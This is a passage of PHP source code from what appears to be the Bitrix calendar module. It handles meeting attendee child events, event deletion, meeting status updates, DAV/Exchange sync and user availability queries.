				'newValue' => $newFields['ATTENDEES_CODES']
			];
		}

		return $changes;
	}

	private static function PackRRule($RRule = array())
	{
		$strRes = "";
		if (is_array($RRule))
		{
			foreach($RRule as $key => $val)
				$strRes .= $key.'='.$val.';';
		}
		$strRes = trim($strRes, ', ');
		return $strRes;
	}

	public static function CreateChildEvents($parentId, $arFields, $params)
	{
		global $DB, $CACHE_MANAGER;
		$parentId = intVal($parentId);
		$attendees = $arFields['ATTENDEES'];
		$bCalDav = CCalendar::IsCalDAVEnabled();
		$involvedAttendees = array();

		if ($parentId)
		{
			// It's new event
			$isNewEvent = !isset($arFields['ID']) || $arFields['ID'] <= 0;

			$curAttendeesIndex = array();
			$deletedAttendees = array();
			if (!$isNewEvent)
			{
				$curAttendees = self::GetAttendees($parentId);
				$curAttendees = $curAttendees[$parentId];

				if (is_array($curAttendees))
				{
					foreach($curAttendees as $user)
					{
						$curAttendeesIndex[$user['USER_ID']] = $user;
						if ($user['USER_ID'] !== $arFields['MEETING_HOST'] &&
							($user['USER_ID'] !== $arFields['OWNER_ID'] || $arFields['CAL_TYPE'] !== 'user'))
						{
							$deletedAttendees[$user['USER_ID']] = $user['USER_ID'];
							$involvedAttendees[] = $user['USER_ID'];
						}
					}
				}
			}

			if (is_array($attendees))
			{
				foreach($attendees as $userKey)
				{
					$attendeeId = intVal($userKey);
					$CACHE_MANAGER->ClearByTag('calendar_user_'.$attendeeId);
					if ($attendeeId)
					{
						// Skip creation of child event if it's event inside his own user calendar
						if ($arFields['CAL_TYPE'] == 'user' && $arFields['OWNER_ID'] == $attendeeId)
						{
							continue;
						}

						$childParams = $params;
						$childParams['arFields']['CAL_TYPE'] = 'user';
						$childParams['arFields']['PARENT_ID'] = $parentId;
						$childParams['arFields']['OWNER_ID'] = $attendeeId;
						$childParams['arFields']['CREATED_BY'] = $attendeeId;

						if (intVal($arFields['CREATED_BY']) == $attendeeId)
						{
							$childParams['arFields']['MEETING_STATUS'] = 'Y';
						}
						elseif ($isNewEvent && $arFields['~MEETING']['MEETING_CREATOR'] == $attendeeId)
						{
							$childParams['arFields']['MEETING_STATUS'] = 'Y';
						}
						else
						{
							if ($params['saveAttendeesStatus'] && $params['currentEvent'] && $params['currentEvent']['~ATTENDEES'])
							{
								foreach($params['currentEvent']['~ATTENDEES'] as $currentAttendee)
								{
									if ($currentAttendee['USER_ID'] == $attendeeId)
									{
										$childParams['arFields']['MEETING_STATUS'] = $currentAttendee['STATUS'];
										break;
									}
								}
							}
							else
							{
								$childParams['arFields']['MEETING_STATUS'] = 'Q';
							}
						}

						unset($childParams['arFields']['SECTIONS']);
						unset($childParams['currentEvent']);
						unset($childParams['arFields']['ID']);
						unset($childParams['arFields']['DAV_XML_ID']);

						$bExchange = CCalendar::IsExchangeEnabled($attendeeId);

						if ($isNewEvent || !$curAttendeesIndex[$attendeeId])
						{
							$childSectId = CCalendar::GetMeetingSection($attendeeId, true);
							if ($childSectId)
							{
								$childParams['arFields']['SECTIONS'] = array($childSectId);
							}

							// CalDav & Exchange
							if ($bExchange || $bCalDav)
							{
								CCalendarSync::DoSaveToDav(array(
									'bCalDav' => $bCalDav,
									'bExchange' => $bExchange,
									'sectionId' => $childSectId
								), $childParams['arFields']);
							}
						}

						$childParams['sendInvitations'] = $params['sendInvitations'];

						if (!$isNewEvent && $curAttendeesIndex[$attendeeId])
						{
							$childParams['arFields']['ID'] = $curAttendeesIndex[$attendeeId]['EVENT_ID'];

							if (!$arFields['~MEETING']['REINVITE'])
							{
								$childParams['arFields']['MEETING_STATUS'] = $curAttendeesIndex[$attendeeId]['STATUS'];

								$childParams['sendInvitations'] = $childParams['sendInvitations'] &&  $curAttendeesIndex[$attendeeId]['STATUS'] != 'Q';
							}

							if ($bExchange || $bCalDav)
							{
								$childParams['currentEvent'] = CCalendarEvent::GetById($childParams['arFields']['ID'], false);
								CCalendarSync::DoSaveToDav(array(
									'bCalDav' => $bCalDav,
									'bExchange' => $bExchange,
									'sectionId' => $childParams['currentEvent']['SECT_ID']
								), $childParams['arFields'], $childParams['currentEvent']);
							}
						}

						self::Edit($childParams);
						$involvedAttendees[] = $attendeeId;
						unset($deletedAttendees[$attendeeId]);
					}
				}
			}

			// Delete
			$delIdStr = '';
			if (!$isNewEvent && count($deletedAttendees) > 0)
			{
				foreach($deletedAttendees as $attendeeId)
				{
					$att = $curAttendeesIndex[$attendeeId];
					if ($params['sendInvitations'] !== false && $att['STATUS'] == 'Y')
					{
						$CACHE_MANAGER->ClearByTag('calendar_user_'.$att["USER_ID"]);
						$fromTo = CCalendarEvent::GetEventFromToForUser($arFields, $att["USER_ID"]);
						CCalendarNotify::Send(array(
							"mode" => 'cancel',
							"name" => $arFields['NAME'],
							"from" => $fromTo['DATE_FROM'],
							"to" => $fromTo['DATE_TO'],
							"location" => CCalendar::GetTextLocation($arFields["LOCATION"]),
							"guestId" => $att["USER_ID"],
							"eventId" => $parentId,
							"userId" => $arFields['MEETING_HOST'],
							"fields" => $arFields
						));
					}
					$delIdStr .= ','.intVal($att['EVENT_ID']);

					$bExchange = CCalendar::IsExchangeEnabled($attendeeId);
					if ($bExchange || $bCalDav)
					{
						$currentEvent = CCalendarEvent::GetList(
							array(
								'arFilter' => array(
									"PARENT_ID" => $parentId,
									"OWNER_ID" => $attendeeId,
									"IS_MEETING" => 1,
									"DELETED" => "N"
								),
								'parseRecursion' => false,
								'fetchAttendees' => true,
								'fetchMeetings' => true,
								'checkPermissions' => false,
								'setDefaultLimit' => false
							)
						);
						$currentEvent = $currentEvent[0];

						if ($currentEvent)
						{
							CCalendarSync::DoDeleteToDav(array(
									'bCalDav' => $bCalDav,
									'bExchangeEnabled' => $bExchange,
									'sectionId' => $currentEvent['SECT_ID']
							), $currentEvent);
						}
					}
				}
			}

			$delIdStr = trim($delIdStr, ', ');

			if ($delIdStr != '')
			{
				$strSql =
					"UPDATE b_calendar_event SET ".
					$DB->PrepareUpdate("b_calendar_event", array("DELETED" => "Y")).
					" WHERE PARENT_ID=".intval($parentId)." AND ID IN(".$delIdStr.")";
				$DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
			}

			if (count($involvedAttendees) > 0)
			{
				$involvedAttendees = array_unique($involvedAttendees);
				CCalendar::UpdateCounter($involvedAttendees);
			}
		}
	}

	public static function GetEventFromToForUser($params, $userId)
	{
		$skipTime = $params['DT_SKIP_TIME'] !== 'N';

		$fromTs = CCalendar::Timestamp($params['DATE_FROM'], false, !$skipTime);
		$toTs = CCalendar::Timestamp($params['DATE_TO'], false, !$skipTime);

		if (!$skipTime)
		{
			$fromTs = $fromTs - (CCalendar::GetTimezoneOffset($params['TZ_FROM']) - CCalendar::GetCurrentOffsetUTC($userId));
			$toTs = $toTs - (CCalendar::GetTimezoneOffset($params['TZ_TO']) - CCalendar::GetCurrentOffsetUTC($userId));
		}

		$dateFrom = CCalendar::Date($fromTs, !$skipTime);
		$dateTo = CCalendar::Date($toTs, !$skipTime);

		return array(
			"DATE_FROM" => $dateFrom,
			"DATE_TO" => $dateTo,
			"TS_FROM" => $fromTs,
			"TS_TO" => $toTs
		);
	}

	public static function OnPullPrepareArFields($arFields = array())
	{
		$arFields['~DESCRIPTION'] = self::ParseText($arFields['DESCRIPTION']);

		$arFields['~LOCATION'] = '';
		if ($arFields['LOCATION'] !== '')
		{
			$arFields['~LOCATION'] = $arFields['LOCATION'];
			$arFields['LOCATION'] = CCalendar::GetTextLocation($arFields["LOCATION"]);
		}

		if (isset($arFields['~MEETING']))
			$arFields['MEETING'] = $arFields['~MEETING'];


		if ($arFields['REMIND'] !== '' && !is_array($arFields['REMIND']))
		{
			$arFields['REMIND'] = unserialize($arFields['REMIND']);
			if (!is_array($arFields['REMIND']))
				$arFields['REMIND'] = array();
		}

		if ($arFields['RRULE'] != '')
			$arFields['RRULE'] = self::ParseRRULE($arFields['RRULE']);

		return $arFields;
	}

	public static function GetCurrentSectionIds($eventId)
	{
		global $DB;
		$strSql = "SELECT SECT_ID FROM b_calendar_event_sect WHERE EVENT_ID=".intVal($eventId);
		$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);

		$result = array();
		while($e = $res->Fetch())
			$result[] = intVal($e['SECT_ID']);

		return $result;
	}

	public static function UpdateUserFields($eventId, $arFields = array())
	{
		$eventId = intVal($eventId);
		if (!is_array($arFields) || count($arFields) == 0 || $eventId <= 0)
			return false;

		global $USER_FIELD_MANAGER;
		if ($USER_FIELD_MANAGER->CheckFields("CALENDAR_EVENT", $eventId, $arFields))
			$USER_FIELD_MANAGER->Update("CALENDAR_EVENT", $eventId, $arFields);

		foreach(GetModuleEvents("calendar", "OnAfterCalendarEventUserFieldsUpdate", true) as $arEvent)
			ExecuteModuleEventEx($arEvent, array('ID' => $eventId,'arFields' => $arFields));

		self::updateSearchIndex($eventId);

		return true;
	}

	public static function GetChildEvents($parentId)
	{
		global $DB;

		$arFields = self::GetFields();
		$childEvents = array();
		$selectList = "";
		foreach($arFields as $field)
			$selectList .= $field['FIELD_NAME'].", ";
		$selectList = trim($selectList, ' ,').' ';

		if ($parentId > 0)
		{

			$strSql = "
				SELECT ".
				$selectList.
				"FROM b_calendar_event CE WHERE CE.PARENT_ID=".intval($parentId);

			$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);

			while($event = $res->Fetch())
			{
				$childEvents[] = $event;
			}
		}
		return false;
	}

	public static function Delete($params)
	{
		global $DB, $CACHE_MANAGER;
		$bCalDav = CCalendar::IsCalDAVEnabled();
		$id = intVal($params['id']);
		$sendNotification = $params['sendNotification'] !== false;

		if ($id)
		{
			$userId = (isset($params['userId']) && $params['userId'] > 0) ? $params['userId'] : CCalendar::GetCurUserId();
			$arAffectedSections = array();
			$entry = $params['Event'];

			if (!isset($entry) || !is_array($entry))
			{
				CCalendar::SetOffset(false, 0);
				$res = CCalendarEvent::GetList(
					array(
						'arFilter' => array(
							"ID" => $id
						),
						'parseRecursion' => false
					)
				);
				$entry = $res[0];
			}

			if ($entry)
			{
				if ($entry['IS_MEETING'] && $entry['PARENT_ID'] !== $entry['ID'])
				{
					if ($entry['MEETING_STATUS'] == 'Y' || $entry['MEETING_STATUS'] == 'Q')
					{
						self::SetMeetingStatus(array(
							'userId' => $userId,
							'eventId' => $entry['ID'],
							'status' => 'N'
						));
					}
				}
				else
				{
					foreach(GetModuleEvents("calendar", "OnBeforeCalendarEventDelete", true) as $arEvent)
						ExecuteModuleEventEx($arEvent, array($id, $entry));

					if ($entry['PARENT_ID'])
						CCalendarLiveFeed::OnDeleteCalendarEventEntry($entry['PARENT_ID'], $entry);
					else
						CCalendarLiveFeed::OnDeleteCalendarEventEntry($entry['ID'], $entry);

					$arAffectedSections[] = $entry['SECT_ID'];
					// Check location: if reserve meeting was reserved - clean reservation
					if ($entry['LOCATION'] != "")
					{
						$loc = CCalendar::ParseLocation($entry['LOCATION']);
						if ($loc['mrevid'] || $loc['room_event_id'])
						{
							CCalendar::ReleaseLocation($loc);
						}
					}

					if ($entry['CAL_TYPE'] == 'user')
						$CACHE_MANAGER->ClearByTag('calendar_user_'.$entry['OWNER_ID']);

					if ($entry['IS_MEETING'])
					{
						CCalendarNotify::ClearNotifications($entry['PARENT_ID']);

						if (Loader::includeModule("im"))
						{
							CIMNotify::DeleteBySubTag("CALENDAR|INVITE|".$entry['PARENT_ID']);
							CIMNotify::DeleteBySubTag("CALENDAR|STATUS|".$entry['PARENT_ID']);
						}

						$involvedAttendees = array();

						$CACHE_MANAGER->ClearByTag('calendar_user_'.$userId);
						$childEvents = CCalendarEvent::GetList(
							array(
								'arFilter' => array(
									"PARENT_ID" => $id
								),
								'parseRecursion' => false,
								'checkPermissions' => false,
								'setDefaultLimit' => false
							)
						);

						$chEventIds = array();
						foreach($childEvents as $chEvent)
						{
							$CACHE_MANAGER->ClearByTag('calendar_user_'.$chEvent["OWNER_ID"]);
							if ($chEvent["MEETING_STATUS"] != "N" && $sendNotification)
							{
								if ($chEvent['DATE_TO_TS_UTC'] + date("Z", $chEvent['DATE_TO_TS_UTC']) > (time() - 60 * 5))
								{
									$fromTo = CCalendarEvent::GetEventFromToForUser($entry, $chEvent["OWNER_ID"]);
									CCalendarNotify::Send(array(
										'mode' => 'cancel',
										'name' => $chEvent['NAME'],
										"from" => $fromTo["DATE_FROM"],
										"to" => $fromTo["DATE_TO"],
										"location" => CCalendar::GetTextLocation($chEvent["LOCATION"]),
										"guestId" => $chEvent["OWNER_ID"],
										"eventId" => $id,
										"userId" => $userId
									));
								}
							}
							$chEventIds[] = $chEvent["ID"];

							if ($chEvent["MEETING_STATUS"] == "Q")
								$involvedAttendees[] = $chEvent["OWNER_ID"];

							$bExchange = CCalendar::IsExchangeEnabled($chEvent["OWNER_ID"]);
							if ($bExchange || $bCalDav)
							{
								CCalendarSync::DoDeleteToDav(array(
										'bCalDav' => $bCalDav,
										'bExchangeEnabled' => $bExchange,
										'sectionId' => $chEvent['SECT_ID']
								), $chEvent);
							}
						}

						// Set flag
						if ($params['bMarkDeleted'])
						{
							$strSql =
								"UPDATE b_calendar_event SET ".
								$DB->PrepareUpdate("b_calendar_event", array("DELETED" => "Y")).
								" WHERE PARENT_ID=".$id;
							$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
						}
						else // Actual deleting
						{
							$strSql = "DELETE from b_calendar_event WHERE PARENT_ID=".$id;
							$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);

							$strChEvent = join(',', $chEventIds);
							if (count($chEventIds) > 0)
							{
								// Del link from table
								$strSql = "DELETE FROM b_calendar_event_sect WHERE EVENT_ID in (".$strChEvent.")";
								$DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
							}
						}

						if (count($involvedAttendees) > 0)
						{
							CCalendar::UpdateCounter($involvedAttendees);
						}
					}

					if ($params['bMarkDeleted'])
					{
						$strSql =
							"UPDATE b_calendar_event SET ".
							$DB->PrepareUpdate("b_calendar_event", array("DELETED" => "Y")).
							" WHERE ID=".$id;
						$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
					}
					else
					{
						// Real deleting
						$strSql = "DELETE from b_calendar_event WHERE ID=".$id;
						$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);

						// Del link from table
						$strSql = "DELETE FROM b_calendar_event_sect WHERE EVENT_ID=".$id;
						$DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
					}

					if (count($arAffectedSections) > 0)
					{
						CCalendarSect::UpdateModificationLabel($arAffectedSections);
					}

					foreach(\Bitrix\Main\EventManager::getInstance()->findEventHandlers("calendar", "OnAfterCalendarEventDelete") as $event)
					{
						ExecuteModuleEventEx($event, array($id, $entry));
					}

					CCalendar::ClearCache('event_list');
				}
				return true;
			}
		}
		return false;
	}

	public static function SetMeetingStatusEx($params)
	{
		if ($params['reccurentMode'] && $params['currentDateFrom'])
		{
			$event = self::GetById($params['parentId'], false);
			$recurrenceId = $event['RECURRENCE_ID'] ? $event['RECURRENCE_ID'] : $event['ID'];

			if ($params['reccurentMode'] != 'all')
			{
				$res = CCalendar::SaveEventEx(array(
					'arFields' => array(
						"ID" => $params['parentId']
					),
					'silentErrorMode' => false,
					'recursionEditMode' => $params['reccurentMode'],
					'userId' => $event['MEETING_HOST'],
					'checkPermission' => false,
					'currentEventDateFrom' => $params['currentDateFrom'],
					'sendEditNotification' => false
				));

				if ($res && $res['recEventId'])
				{
					self::SetMeetingStatus(array(
						'userId' => $params['attendeeId'],
						'eventId' => $res['recEventId'],
						'status' => $params['status'],
						'personalNotification' => true
					));
				}
			}

			if ($params['reccurentMode'] == 'all' || $params['reccurentMode'] == 'next')
			{
				$recRelatedEvents = CCalendarEvent::GetEventsByRecId($recurrenceId, false);

				if ($params['reccurentMode'] == 'next')
				{
					$untilTimestamp = CCalendar::Timestamp($params['currentDateFrom']);
				}
				else
				{
					$untilTimestamp = false;
					self::SetMeetingStatus(array(
						'userId' => $params['attendeeId'],
						'eventId' => $params['eventId'],
						'status' => $params['status'],
						'personalNotification' => true
					));
				}

				foreach($recRelatedEvents as $ev)
				{
					if ($ev['ID'] == $params['eventId'])
						continue;

					if($params['reccurentMode'] == 'all' ||
						($untilTimestamp && CCalendar::Timestamp($ev['DATE_FROM']) > $untilTimestamp))
					{
						self::SetMeetingStatus(array(
							'userId' => $params['attendeeId'],
							'eventId' => $ev['ID'],
							'status' => $params['status']
						));
					}
				}
			}
		}
		else
		{
			self::SetMeetingStatus(array(
				'userId' => $params['attendeeId'],
				'eventId' => $params['eventId'],
				'status' => $params['status']
			));
		}
	}

	public static function SetMeetingStatus($params)
	{
		CTimeZone::Disable();
		global $DB, $CACHE_MANAGER;
		$eventId = $params['eventId'] = intVal($params['eventId']);
		$userId = $params['userId'] = intVal($params['userId']);
		$status = strtoupper($params['status']);
		if(!in_array($status, array("Q", "Y", "N", "H", "M")))
			$status = $params['status'] = "Q";

		$event = CCalendarEvent::GetList(
			array(
				'arFilter' => array(
					"ID" => $eventId,
					"IS_MEETING" => 1,
					"DELETED" => "N"
				),
				'parseRecursion' => false,
				'fetchAttendees' => true,
				'fetchMeetings' => true,
				'checkPermissions' => false,
				'setDefaultLimit' => false
			));

		if ($event && count($event) > 0)
		{
			$event = $event[0];
		}

		if ($event && $event['IS_MEETING'] && intVal($event['PARENT_ID']) > 0)
		{
			$strSql = "UPDATE b_calendar_event SET ".
				$DB->PrepareUpdate("b_calendar_event", array("MEETING_STATUS" => $status)).
				" WHERE PARENT_ID=".intVal($event['PARENT_ID'])." AND OWNER_ID=".$userId;
			$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);

			CCalendarSect::UpdateModificationLabel($event['SECT_ID']);

			// Clear invitation in messager
			CCalendarNotify::ClearNotifications($event['PARENT_ID'], $userId);

			// Add new notification in messenger
			if ($params['personalNotification'] && intVal(CCalendar::getCurUserId()) == $userId)
			{
				$fromTo = CCalendarEvent::GetEventFromToForUser($event, $userId);
				CCalendarNotify::Send(array(
					'mode' => $status == "Y" ? 'status_accept' : 'status_decline',
					'name' => $event['NAME'],
					"from" => $fromTo["DATE_FROM"],
					"guestId" => $userId,
					"eventId" => $event['PARENT_ID'],
					"userId" => $userId,
					"markRead" => true,
					"fields" => $event
				));
			}

			// If it's open meeting and our attendee is not on the list
			if ($event['MEETING'] && $event['MEETING']['OPEN'] && ($status == 'Y' || $status == 'M'))
			{
				$arAttendees = self::GetAttendees(array($event['PARENT_ID']));
				$arAttendees = $arAttendees[$event['PARENT_ID']];
				$attendeeExist = false;
				foreach($arAttendees as $attendee)
				{
					if ($attendee['USER_ID'] == $userId)
					{
						$attendeeExist = true;
						break;
					}
				}

				if (!$attendeeExist && is_array($event))
				{
					// 1. Create another childEvent for new attendee
					$AllFields = self::GetFields();
					$dbFields = array();
					foreach($event as $field => $val)
					{
						if(isset($AllFields[$field]) && $field != "ID" && $field != "ATTENDEES_CODES")
						{
							$dbFields[$field] = $event[$field];
						}
					}
					$dbFields['MEETING_STATUS'] = $status;
					$dbFields['CAL_TYPE'] = 'user';
					$dbFields['OWNER_ID'] = $userId;
					$dbFields['PARENT_ID'] = $event['PARENT_ID'];
					$dbFields['MEETING'] = serialize($event['MEETING']);
					$dbFields['REMIND'] = serialize($event['REMIND']);
					$eventId = $DB->Add("b_calendar_event", $dbFields, array('DESCRIPTION', 'MEETING', 'EXDATE'));

					$DB->Query("UPDATE b_calendar_event SET ".
						$DB->PrepareUpdate("b_calendar_event", array('DAV_XML_ID' => $eventId)).
						" WHERE ID=".IntVal($eventId), false, "File: ".__FILE__."<br>Line: ".__LINE__);

					$sectionId = CCalendarSect::GetLastUsedSection('user', $userId, $userId);
					if (!$sectionId || !CCalendarSect::GetById($sectionId, false))
					{
						$sectRes = CCalendarSect::GetSectionForOwner('user', $userId);
						$sectionId = $sectRes['sectionId'];
					}
					if ($eventId && $sectionId)
					{
						self::ConnectEventToSection($eventId, $sectionId);
					}

					// 2. Update ATTENDEES_CODES
					$attendeesCodes = $event['ATTENDEES_CODES'];
					$attendeesCodes[] = 'U'.intVal($userId);

					$attendeesCodes = array_unique($attendeesCodes);
					$DB->Query("UPDATE b_calendar_event SET ".
						"ATTENDEES_CODES='".implode(',', $attendeesCodes)."'".
						" WHERE PARENT_ID=".intVal($event['PARENT_ID']), false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);

					CCalendarSect::UpdateModificationLabel(array($sectionId));
				}
			}

			// Notify author of event
			if ($event['MEETING']['NOTIFY'] && $userId != $event['MEETING_HOST'] &&
				$params['hostNotification'] !== false)
			{
				// Send message to the author
				$fromTo = CCalendarEvent::GetEventFromToForUser($event, $event['MEETING_HOST']);
				CCalendarNotify::Send(array(
					'mode' => $status == "Y" ? 'accept' : 'decline',
					'name' => $event['NAME'],
					"from" => $fromTo["DATE_FROM"],
					"to" => $fromTo["DATE_TO"],
					"location" => CCalendar::GetTextLocation($event["LOCATION"]),
					"guestId" => $userId,
					"eventId" => $event['PARENT_ID'],
					"userId" => isset($event['MEETING']['MEETING_CREATOR']) ? $event['MEETING']['MEETING_CREATOR'] : $event['MEETING_HOST'],
					"fields" => $event
				));
			}
			CCalendarSect::UpdateModificationLabel(array($event['SECTIONS'][0]));

			if ($status == "N")
			{
				$childEvent = CCalendarEvent::GetList(
					array(
						'arFilter' => array(
							"PARENT_ID" => $event['PARENT_ID'],
							"CREATED_BY" => $userId,
							"IS_MEETING" => 1,
							"DELETED" => "N"
						),
						'parseRecursion' => false,
						'fetchAttendees' => true,
						'checkPermissions' => false,
						'setDefaultLimit' => false
					)
				);

				if ($childEvent && $childEvent[0])
				{
					$childEvent = $childEvent[0];
					$bCalDav = CCalendar::IsCalDAVEnabled();
					$bExchange = CCalendar::IsExchangeEnabled($userId);

					if ($bExchange || $bCalDav)
					{
						CCalendarSync::DoDeleteToDav(array(
							'bCalDav' => $bCalDav,
							'bExchangeEnabled' => $bExchange,
							'sectionId' => $childEvent['SECT_ID']
						), $childEvent);
					}
				}
			}

			if ($status == "Y" && $params['affectRecRelatedEvents'] !== false)
			{
				//$event = self::GetById($event['PARENT_ID'], false);
				$event = CCalendarEvent::GetList(
					array(
						'arFilter' => array(
							"ID" => $eventId,
							"IS_MEETING" => 1,
							"DELETED" => "N"
						),
						'parseRecursion' => false,
						'fetchAttendees' => true,
						'fetchMeetings' => true,
						'checkPermissions' => false,
						'setDefaultLimit' => false
					));

				if ($event && count($event) > 0)
				{
					$event = $event[0];
				}

				$recurrenceId = $event['RECURRENCE_ID'] ? $event['RECURRENCE_ID'] : $event['ID'];

				if ($recurrenceId)
				{
					$recRelatedEvents = CCalendarEvent::GetEventsByRecId($recurrenceId, false);
					foreach($recRelatedEvents as $ev)
					{
						if ($ev['ID'] == $params['eventId'])
							continue;

						self::SetMeetingStatus(array(
							'userId' => $userId,
							'eventId' => $ev['ID'],
							'status' => $status,
							'personalNotification' => false,
							'hostNotification' => false,
							'affectRecRelatedEvents' => false
						));
					}
				}
			}

			CCalendarLiveFeed::OnChangeMeetingStatusEventEntry(array(
				'userId' => $userId,
				'eventId' => $eventId,
				'status' => $status,
				'event' => $event
			));

			CCalendar::UpdateCounter($userId);

			$CACHE_MANAGER->ClearByTag('calendar_user_'.$userId);
			$CACHE_MANAGER->ClearByTag('calendar_user_'.$event['CREATED_BY']);
		}
		else
		{
			CCalendarNotify::ClearNotifications($eventId);
		}

		CTimeZone::Enable();
		CCalendar::ClearCache(array('attendees_list', 'event_list'));
	}

	/*
	 * $params['dateFrom']
	 * $params['dateTo']
	 *
	 * */

	public static function GetMeetingStatus($userId, $eventId)
	{
		global $DB;
		$eventId = intVal($eventId);
		$userId = intVal($userId);
		$status = false;
		$event = CCalendarEvent::GetById($eventId, false);
		if ($event && $event['IS_MEETING'] && intVal($event['PARENT_ID']) > 0)
		{
			if ($event['CREATED_BY'] == $userId)
			{
				$status = $event['MEETING_STATUS'];
			}
			else
			{
				$res = $DB->Query("SELECT MEETING_STATUS from b_calendar_event WHERE PARENT_ID=".intVal($event['PARENT_ID'])." AND CREATED_BY=".$userId, false, "File: ".__FILE__."<br>Line: ".__LINE__);
				$event = $res->Fetch();
				$status = $event['MEETING_STATUS'];
			}
		}
		return $status;
	}

	public static function SetMeetingParams($userId, $eventId, $arFields)
	{
		$eventId = intVal($eventId);
		$userId = intVal($userId);

		// Check $arFields
		if (!in_array($arFields['ACCESSIBILITY'], array('busy', 'quest', 'free', 'absent')))
			$arFields['ACCESSIBILITY'] = 'busy';

		$event = CCalendarEvent::GetById($eventId);
		if (!$event)
			return false;

		$res = CCalendarEvent::GetList(
			array(
				'arFilter' => array(
					"PARENT_ID" => $eventId,
					"CREATED_BY" => $userId,
					"IS_MEETING" => 1,
					"DELETED" => "N"
				),
				'parseRecursion' => false,
				'fetchAttendees' => true,
				'fetchMeetings' => true,
				'checkPermissions' => true,
				'setDefaultLimit' => false
			)
		);

		if (!$res || !$res[0])
		{
			$res = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"ID" => $eventId,
						"CREATED_BY" => $userId,
						"IS_MEETING" => 1,
						"DELETED" => "N"
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'fetchMeetings' => true,
					'checkPermissions' => true,
					'setDefaultLimit' => false
				)
			);
		}

		if ($res[0])
		{
			$event = $res[0];
			$arReminders = array();
			if (isset($arFields['REMIND']))
			{
				if ($arFields['REMIND'] && is_array($arFields['REMIND']))
				{
					foreach ($arFields['REMIND'] as $remind)
					{
						if(is_array($remind) && isset($remind['type']) && in_array($remind['type'], array('min', 'hour', 'day')))
						{

							$arReminders[] = array('type' => $remind['type'], 'count' => floatVal($remind['count']));
						}
					}
				}
			}

			$arFields = array(
				"ID" => $event['ID'],
				"REMIND" => $arReminders,
				"ACCESSIBILITY" => $arFields['ACCESSIBILITY']
			);
			//SaveEvent
			CCalendar::SaveEvent(array('arFields' => $arFields));
		}
		return true;
	}

	public static function GetAccessibilityForUsers($params = array())
	{
		$curEventId = intVal($params['curEventId']);
		if (!is_array($params['users']) || count($params['users']) == 0)
			return array();

		if (!isset($params['checkPermissions']))
			$params['checkPermissions'] = true;

		$users = array();
		$accessibility = array();
		foreach($params['users'] as $userId)
		{
			$userId = intVal($userId);
			if ($userId)
			{
				$users[] = $userId;
				$accessibility[$userId] = array();
			}
		}

		if (count($users) == 0)
			return array();

		$events = CCalendarEvent::GetList(
			array(
				'arFilter' => array(
					"FROM_LIMIT" => $params['from'],
					"TO_LIMIT" => $params['to'],
					"CAL_TYPE" => 'user',
					"OWNER_ID" => $users,
					"ACTIVE_SECTION" => "Y"
				),
				'parseRecursion' => true,
				'fetchAttendees' => true,
				'fetchSection' => true,
				'parseDescription' => false,
				'setDefaultLimit' => false,
				'checkPermissions' => $params['checkPermissions']
			)
		);

		foreach($events as $event)
		{
			if ($curEventId && ($event["ID"] == $curEventId || $event["PARENT_ID"] == $curEventId))
				continue;
			if ($event["ACCESSIBILITY"] == 'free')
				continue;
			if ($event["IS_MEETING"] && ($event["MEETING_STATUS"] == "N" || $event["MEETING_STATUS"] == "Q"))
				continue;
			if (CCalendarSect::CheckGoogleVirtualSection($event['SECTION_DAV_XML_ID']))
				continue;

			$accessibility[$event['OWNER_ID']][] = array(
				"ID" => $event["ID"],
				"NAME" => $event["NAME"],
				"DATE_FROM" => $event["DATE_FROM"],
				"DATE_TO" => $event["DATE_TO"],
				"~USER_OFFSET_FROM" => $event["~USER_OFFSET_FROM"],
				"~USER_OFFSET_TO" => $event["~USER_OFFSET_TO"],
				"DT_SKIP_TIME" => $event["DT_SKIP_TIME"],
				"TZ_FROM" => $event["TZ_FROM"],
				"TZ_TO" => $event["TZ_TO"],
				"ACCESSIBILITY" => $event["ACCESSIBILITY"],
				"IMPORTANCE" => $event["IMPORTANCE"],
				"EVENT_TYPE" => $event["EVENT_TYPE"]
			);
		}

		return $accessibility;
	}

	public static function GetAbsent($users = false, $params = array())
	{
		// Can be called from agent... So we have to create $USER if it is not exists
		$tempUser = CCalendar::TempUser(false, true);
		$checkPermissions = $params['checkPermissions'] !== false;
		$curUserId = isset($params['userId']) ? intVal($params['userId']) : CCalendar::GetCurUserId();
		$arUsers = array();

		if ($users !== false && is_array($users))
		{
			foreach($users as $id)
			{
				if($id > 0)
				{
					$arUsers[] = intVal($id);
				}
			}
			if (!count($arUsers))
			{
				$users = false;
			}
		}

		$arFilter = array(
			'DELETED' => 'N',
			'ACCESSIBILITY' => 'absent',
		);

		if ($users)
		{
			$arFilter['CREATED_BY'] = $users;
		}

		if (isset($params['fromLimit']))
			$arFilter['FROM_LIMIT'] = CCalendar::Date(CCalendar::Timestamp($params['fromLimit'], false), true, false);
		if (isset($params['toLimit']))
			$arFilter['TO_LIMIT'] = CCalendar::Date(CCalendar::Timestamp($params['toLimit'], false), true, false);

		$arEvents = CCalendarEvent::GetList(
			array(
				'arFilter' => $arFilter,
				'parseRecursion' => true,
				'getUserfields' => false,
				'fetchAttendees' => false,
				'userId' => $curUserId,
				'preciseLimits' => true,
				'checkPermissions' => false,
				'parseDescription' => false,
				'skipDeclined' => true
			)
		);

		//$bSocNet = Loader::includeModule("socialnetwork");
		$result = [];
		$settings = false;

		foreach($arEvents as $event)
		{
			$userId = $event['CREATED_BY'];
			if ($users !== false && !in_array($userId, $arUsers))
				continue;

			//if ($bSocNet && !CSocNetFeatures::IsActiveFeature(SONET_ENTITY_USER, $userId, "calendar"))
			//	continue;

			if ($event['IS_MEETING'] && $event["MEETING_STATUS"] == 'N')
				continue;

			if ($checkPermissions
				&& ($event['CAL_TYPE'] != 'user' || $curUserId != $event['OWNER_ID'])
